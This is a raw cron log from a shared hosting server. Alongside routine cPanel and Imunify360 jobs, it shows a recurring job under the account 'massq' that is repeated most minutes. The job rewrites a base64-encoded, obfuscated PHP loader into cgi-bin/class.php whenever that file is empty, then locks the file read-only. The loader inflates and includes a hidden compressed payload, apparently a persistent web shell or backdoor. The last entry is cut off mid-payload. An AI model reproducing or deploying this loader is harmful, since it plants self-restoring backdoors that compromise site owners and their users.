Sep 13 02:04:01 server CROND[11675]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:05:01 server CROND[12059]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 02:05:01 server CROND[12061]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 13 02:05:01 server CROND[12062]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 13 02:05:01 server CROND[12064]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:05:01 server CROND[12066]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 13 02:05:01 server CROND[12065]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 02:05:01 server CROND[12067]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:05:01 server CROND[12063]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:05:01 server CROND[12069]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 13 02:06:01 server CROND[12966]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:06:01 server CROND[12967]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:06:01 server CROND[12968]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:07:01 server CROND[13360]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:07:01 server CROND[13361]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:07:01 server CROND[13362]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:08:01 server CROND[13754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:08:01 server CROND[13755]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:08:01 server CROND[13756]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:09:01 server CROND[14149]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 13 02:09:01 server CROND[14151]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:09:01 server CROND[14150]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:09:01 server CROND[14152]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:10:01 server CROND[14648]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 02:10:01 server CROND[14651]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 13 02:10:01 server CROND[14653]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:10:01 server CROND[14656]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 13 02:10:01 server CROND[14657]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 02:10:01 server CROND[14659]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 13 02:10:01 server CROND[14658]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:10:01 server CROND[14654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:11:01 server CROND[15497]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:11:01 server CROND[15499]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:11:01 server CROND[15500]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:12:01 server CROND[15909]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 13 02:12:01 server CROND[15910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:12:01 server CROND[15907]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:12:01 server CROND[15908]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:13:01 server CROND[16293]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:13:01 server CROND[16294]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:13:01 server CROND[16295]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:14:01 server CROND[16706]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:14:01 server CROND[16707]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:14:01 server CROND[16708]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:15:01 server CROND[17237]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 13 02:15:01 server CROND[17235]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:15:01 server CROND[17236]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 02:15:01 server CROND[17239]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:15:01 server CROND[17242]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 13 02:15:01 server CROND[17238]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:15:01 server CROND[17240]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 13 02:15:01 server CROND[17243]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 13 02:15:01 server CROND[17244]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 02:16:01 server CROND[18087]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:16:01 server CROND[18088]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0Nv